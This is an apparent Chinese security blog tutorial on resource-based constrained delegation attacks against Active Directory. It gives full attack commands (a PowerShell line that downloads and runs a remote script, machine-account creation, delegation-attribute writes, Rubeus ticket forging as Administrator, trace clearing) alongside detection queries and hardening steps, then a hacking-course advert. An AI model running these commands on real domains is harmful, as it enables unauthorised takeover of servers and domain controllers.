news 2026/10/1 7:38:50

基于资源的约束委派攻击,红队高频攻击链路

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
基于资源的约束委派攻击,红队高频攻击链路

基于资源的约束委派攻击,红队高频攻击链路

免责声明:本文内容仅用于授权红队演练、企业 AD 安全自查、安全学习研究,严禁在未授权的域环境执行 RBCD、AD 属性篡改、Kerberos 票据伪造等操作。未经授权对计算机信息系统进行渗透测试属于违法行为,所有操作带来的法律后果由操作者自行承担。

前言

基于资源的约束委派(Resource-Based Constrained Delegation,简称 RBCD),是域渗透红队最经典、使用率极高的 Kerberos 委派攻击技术,MITRE ATT&CK 编号T1558.002。很多人把 RBCD 和传统约束委派混淆:传统约束委派是在发起委派的账号上配置,域管理员权限才能修改;而 RBCD 信任方向完全反转,由目标资源(计算机对象)自己决定,允许哪个账号来模拟用户访问自己。

RBCD 最大魅力:不需要域管理员权限,只要攻击者手里的账号对目标计算机对象拥有GenericWrite / GenericAll / WriteDacl / WriteOwner等 ACL 写入权限,就可以修改目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性,配置委派。配合 AD 默认的MachineAccountQuota=10,普通域用户最多可以在域内创建 10 个机器账号,整套攻击链路从低权限域账号出发,直接横向拿下目标服务器,甚至域控。

版本前提:RBCD 从 Windows Server 2012 开始支持,2008 及更早版本不支持 RBCD。
常见误区:

  1. RBCD 攻击必须拿到域管权限;
  2. RBCD 只能针对普通工作站,不能攻击域控;
  3. 修改 RBCD 属性之后永久生效,没有日志;
  4. S4U2Proxy 可以模拟所有账号,加入 Protected Users 组账号同样可以被模拟。

一、RBCD 核心原理:S4U2Self + S4U2Proxy

RBCD 攻击依赖 Kerberos 两个扩展协议 S4U(Service for User),也是整套攻击的核心。

  1. S4U2Self:向 KDC 申请一张给自己本身服务的票据,用攻击者可控的机器账号身份,模拟指定用户(例如域管理员 Administrator),获取一张转发属性的 ST 票据。
  2. S4U2Proxy:拿着 S4U2Self 拿到的票据,向 KDC 再次申请票据,访问目标资源(被配置 RBCD 的机器),KDC 校验目标机器msDS-AllowedToActOnBehalfOfOtherIdentity属性,如果攻击者机器账号在允许列表,则返回目标服务的 ST 票据。

msDS-AllowedToActOnBehalfOfOtherIdentity是目标计算机对象上的关键属性,这个属性存储允许进行委派模拟的主体 SID。简单一句话理解:目标机器记录了哪些账号可以冒充任意用户访问我。

传统约束委派:服务 A 告诉 KDC,我可以去访问服务 B;
RBCD:服务 B 告诉 KDC,只有账号 X 可以冒充用户访问我。

二、RBCD 完整攻击前置条件(缺一不可)

  1. 攻击者拥有一个域账号凭据;
  2. 该域账号对目标计算机对象拥有写入权限:GenericWrite / GenericAll / WriteDacl / WriteOwner / AddAllowedToAct;
  3. 域环境MachineAccountQuota大于 0(默认值 10,允许普通域用户创建机器账号);
  4. 攻击者可以创建 / 控制一个机器账号(带 SPN,机器账号自带 SPN);
  5. 目标系统版本 ≥ Server2012;
  6. 目标计算机对象允许修改msDS-AllowedToActOnBehalfOfOtherIdentity属性。

备选场景:如果MachineAccountQuota=0,普通用户无法新建机器账号,则攻击者需要找到已经控制、自带 SPN 的账号(服务账号 / 机器账号),使用已有账号完成 RBCD 攻击。

三、红队 RBCD 完整攻击链路(标准流程)

步骤 1:信息收集,BloodHound 寻找攻击路径

拿到低权限域账号后,使用 SharpHound 采集 AD 数据,导入 BloodHound,查询 ACL,寻找:用户对计算机对象拥有 GenericWrite/GenericAll的路径。

BloodHound Cypher 查询语句:

MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(c:Computer) RETURN p

找到目标:用户lowuser对WEB01$计算机对象拥有 GenericWrite 权限,这就是 RBCD 入口。

原理:lowuser可以修改 WEB01$ 计算机对象的 AD 属性,修改msDS-AllowedToActOnBehalfOfOtherIdentity。

步骤 2:在域内创建攻击者可控的机器账号

利用默认MachineAccountQuota=10,低权限域用户创建 Fake 机器账号FAKECOMP$,设置机器账号密码。

PowerView 创建机器账号(Windows)
# 导入PowerView IEX(New-Object Net.WebClient).DownloadString("http://xxx/PowerView.ps1") New-ADComputer -Name "FAKECOMP" -AccountPassword (ConvertTo-SecureString "Fake@123456" -AsPlainText -Force) -Enabled $true
Impacket bloodyAD / rbcd.py(Kali Linux)
bloodyAD -u lowuser -p 'User@123' -d test.local --host 192.168.1.10 add computer FAKECOMP 'Fake@123456'

创建成功,拿到FAKECOMP$机器账号,获取它的 SID 和 NTLM 哈希。

步骤 3:修改目标计算机对象 RBCD 属性,写入 Fake 机器账号 SID

将FAKECOMP$的 SID 写入目标机器WEB01$的msDS-AllowedToActOnBehalfOfOtherIdentity属性,代表WEB01 允许 FAKECOMP$ 账号模拟任意用户访问自身资源。

PowerShell 操作:

# 获取fake机器账号SID $fakeCompSID = Get-DomainComputer FAKECOMP -Properties objectsid | Select -Expand objectsid # 构造安全描述符 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeCompSID)" $SDbytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDbytes,0) # 写入目标WEB01$的msDS-AllowedToActOnBehalfOfOtherIdentity Set-DomainObject -Identity "WEB01$" -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDbytes}

Impacket rbcd.py 一键配置(Linux)

impacket-rbcd -delegate-from 'FAKECOMP$' -delegate-to 'WEB01$' -dc-ip 192.168.1.10 test.local/lowuser:'User@123' -action write

验证配置是否写入成功:

impacket-rbcd -delegate-to 'WEB01$' -dc-ip 192.168.1.10 test.local/lowuser:'User@123' -action read

步骤 4:Rubeus 执行 S4U 请求,伪造域管理员票据

使用 Rubeus 调用 S4U2Self + S4U2Proxy,模拟域管理员 Administrator,申请访问 WEB01 的 CIFS 服务票据,直接内存注入(PTT)。

Rubeus.exe s4u /user:FAKECOMP$ /rc4:FAKECOMP机器账号NTLM哈希 /impersonateuser:Administrator /msdsspn:cifs/web01.test.local /domain:test.local /dc:192.168.1.10 /ptt

参数说明:

  • /user:我们创建的 fake 机器账号;
  • /rc4:fake 机器账号 NTLM Hash;
  • /impersonateuser:要模拟的用户(Administrator 域管理员);
  • /msdsspn:目标服务 SPN,cifs 用于访问文件共享 C$;
  • /ptt:Pass-the-Ticket,直接注入当前内存。

票据注入成功后,直接访问目标主机 C$ 共享:

dir \\web01.test.local\C$

拿到 WEB01 服务器管理员权限,完成横向移动。
如果需要 WinRM 远程执行命令,修改 SPN 为HOST/web01.test.local。

四、RBCD 常见攻击变种与实战场景

场景 1:RBCD 攻击域控(高危)

如果低权限账号对域控计算机对象拥有 GenericWrite 权限,直接对 DC 执行 RBCD 攻击,模拟域管理员访问域控 CIFS,拿下域控。

这是红队非常经典的提权路径,很多企业运维错误配置,普通运维账号对 DC 计算机对象拥有 GenericWrite。

场景 2:MachineAccountQuota=0,无法新建机器账号

无法新建机器账号时,攻击者寻找已经控制、自带 SPN 的账号(业务服务账号、其他已经拿下的机器账号),用这个已有账号作为delegate-from主体,配置 RBCD,后续 S4U 流程不变。

场景 3:KrbRelayUp + RBCD 组合攻击

KrbRelayUp 是 NTLM 中继 + RBCD 的组合攻击,无需提前拿到 GenericWrite 权限,通过 LDAP 中继自动获取 WriteDacl,然后自动配置 RBCD、创建机器账号、S4U 伪造票据,一键拿下本地主机,内网横向非常常见。

场景 4:RBCD 后清理痕迹

攻击完成,清理 AD 属性,删除写入的msDS-AllowedToActOnBehalfOfOtherIdentity,避免蓝队审计发现:

Set-DomainObject -Identity "WEB01$" -Clear 'msds-allowedtoactonbehalfofotheridentity'

Linux impacket 命令清除:

impacket-rbcd -delegate-to 'WEB01$' -dc-ip 192.168.1.10 test.local/lowuser:'User@123' -action clear

五、RBCD 攻击日志痕迹,蓝队检测要点

RBCD 攻击由创建机器账号、修改计算机对象 RBCD 属性、S4U Kerberos 票据请求三部分构成,对应的日志事件 ID。

前提:域控需要开启审计目录服务更改,否则 5136 日志不会生成(默认关闭)。

  1. EventID 4741:创建计算机账号
    普通域用户新建机器账号,告警:非管理员账号创建计算机对象,名称不符合企业主机命名规范。
  2. EventID 5136:目录服务对象修改(RBCD 核心告警)
    修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,ObjectClass=computer,该事件是 RBCD 攻击最核心检测点。

KQL 查询(Sentinel)

SecurityEvent | where EventID == 5136 | where ObjectClass == "computer" | where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity" | project TimeGenerated,SubjectUserName,ObjectDN,OperationType
  1. EventID 4769:S4U TGS_REQ 请求
    S4U 会产生 TGS 请求,特征:
  • 同一个账号,短时间大量 TGS 请求;
  • S4U 请求中包含S4U2Self标识,KDC 日志可识别 S4U 票据请求。
  1. MDI(Defender for Identity)内置告警:可疑 Kerberos 委派活动、RBCD 滥用告警。

注意:RBCD 攻击不会产生 4768 AS_REQ 日志(S4U 不走正常 AS 阶段申请 TGT),不能依赖 4768 进行检测。

六、域加固方案,防御 RBCD 攻击

1. 修改域属性 ms-DS-MachineAccountQuota=0(最有效的缓解手段)

禁止普通域用户创建机器账号,直接阻断 RBCD 最常用的前置路径。
PowerShell 设置域属性:

Set-ADDomain -Identity test.local -Replace @{"ms-DS-MachineAccountQuota"="0"}

注意:设置为 0 之后,只有域管理员才可以新建计算机账号。

2. 定期审计 AD ACL,清理危险权限

使用 BloodHound、PowerView 批量扫描,清理普通用户对计算机对象的GenericWrite / GenericAll / WriteDacl / WriteOwner权限。

企业最常见漏洞:将服务器的管理权限错误授予普通域用户,导致该用户拥有 GenericWrite,形成 RBCD 攻击入口。

3. 高权限账号加入 Protected Users 组

加入 Protected Users 组的账号无法被 S4U2Proxy 模拟。就算攻击者成功配置 RBCD,也不能模拟 Protected Users 内的账号,极大缩小攻击面。

域管理员、企业管理员等高权限账号建议放入 Protected Users。

4. 开启目录服务更改审计(Event5136)

域控组策略开启「审计目录服务更改」,集中日志上送到 SIEM,监控msDS-AllowedToActOnBehalfOfOtherIdentity属性变更。

5. 最小权限,遵循 Tier0 域分层运维

Tier0(域控)严格限制 ACL,普通运维账号禁止拥有对域控计算机对象的任何写入权限。

6. 监控异常机器账号

定期巡检 AD 内计算机对象,发现命名异常、不在资产台账内的机器账号,及时清理;监控 4741 新建计算机账号事件。

七、RBCD 与其他委派攻击横向对比

攻击类型配置位置所需权限核心协议攻击特点
RBCD 基于资源约束委派目标计算机对象对目标机器对象写权限,不需要域管S4U2Self+S4U2Proxy低权限横向,红队高频,Win2012+
传统约束委派发起委派账号域管理员配置TGS配置繁琐,需要域管,较少见
无约束委派计算机对象,TRUSTED_FOR_DELEGATION拿到主机权限TGT 转发高风险,一旦拿下主机,抓取 TGT,全域持久化
影子凭据用户 / 计算机对象写权限PKINIT不需要机器账号配额,证书方式伪造票据

八、红队实战踩坑总结

  1. 执行 S4U 时报错KDC_ERR_BADOPTION:目标系统版本低于 2012,不支持 RBCD;或者目标账号加入 Protected Users,不能被模拟;
  2. 修改msDS-AllowedToActOnBehalfOfOtherIdentity报错权限不足:当前账号没有 GenericWrite/WriteDacl;
  3. 票据注入成功,但无法访问 C$:目标主机防火墙拦截 445,SPN 写错,或者目标机器本地安全策略限制;
  4. MachineAccountQuota=0,无法新建机器账号:需要寻找已有可控账号代替 Fake 机器账号;
  5. 攻击后一定要清理msDS-AllowedToActOnBehalfOfOtherIdentity属性,否则蓝队巡检会直接发现异常 RBCD 配置;
  6. RBCD 拿到的票据只对指定 SPN 生效,CIFS 票据只能访问 SMB 共享,不能用于 WinRM,需要单独申请 HOST SPN 票据。

九、总结

RBCD 之所以成为红队域横向移动的王牌技术,核心在于它攻击起点门槛极低,仅需要低权限域账号 + 对目标计算机对象的 ACL 写入权限,不需要域管理员。整套链路利用 AD 默认MachineAccountQuota创建机器账号,修改目标机器 RBCD 属性,S4U 协议模拟高权限用户,拿到目标主机权限。

防守侧不能只依赖单一策略,优先把MachineAccountQuota置 0,定期审计 AD 对象 ACL,将高权限账号放入 Protected Users,开启 5136 目录变更审计。RBCD 攻击本质不是 Kerberos 协议漏洞,根源是 AD 对象过度授权,很多企业域安全风险来自多年遗留错误 ACL,BloodHound 可以提前发现 GenericWrite 等高风险路径,提前消除 RBCD 攻击入口。


最后

关于网络安全技术储备

网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。

如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/1 7:35:41

OpenHarmony I2C驱动开发实战:从协议原理到排障技巧

做OpenHarmony设备开发,从传感器、屏幕到各种外设,八成会遇到I2C。尤其是你想在开发板上接个环境光传感器、姿态传感器的时候,跑一版I2C驱动,反复读不到数据、偶尔死锁、时序不稳,这种问题我想不少人都遇到过。这篇内容…

作者头像 李华
网站建设 2026/10/1 7:34:56

位移运算的物理本质:从CPU寄存器搬运到嵌入式性能优化

1. 这不是“<<”和“>>”&#xff0c;这是CPU在你眼皮底下直接搬数据的物理动作很多人第一次看到a << 3或b >> 2&#xff0c;下意识觉得这是个“数学运算”&#xff0c;顶多联想到乘除法——这恰恰是理解位移操作最大的认知陷阱。我带过几十个刚学C/C的…

作者头像 李华
网站建设 2026/10/1 7:33:58

阻抗不匹配排查实战:从TDR曲线到PCB叠层设计的避坑指南

阻抗不匹配这五个字&#xff0c;硬件工程师谁都不陌生&#xff0c;但真正被它折腾到凌晨三四点的&#xff0c;才知道什么叫“翻车”。我去年做了一款带DDR3和千兆网口的控制板&#xff0c;先后在猎板投了两批样板&#xff0c;前两次全都栽在阻抗上——不是完全没信号&#xff0…

作者头像 李华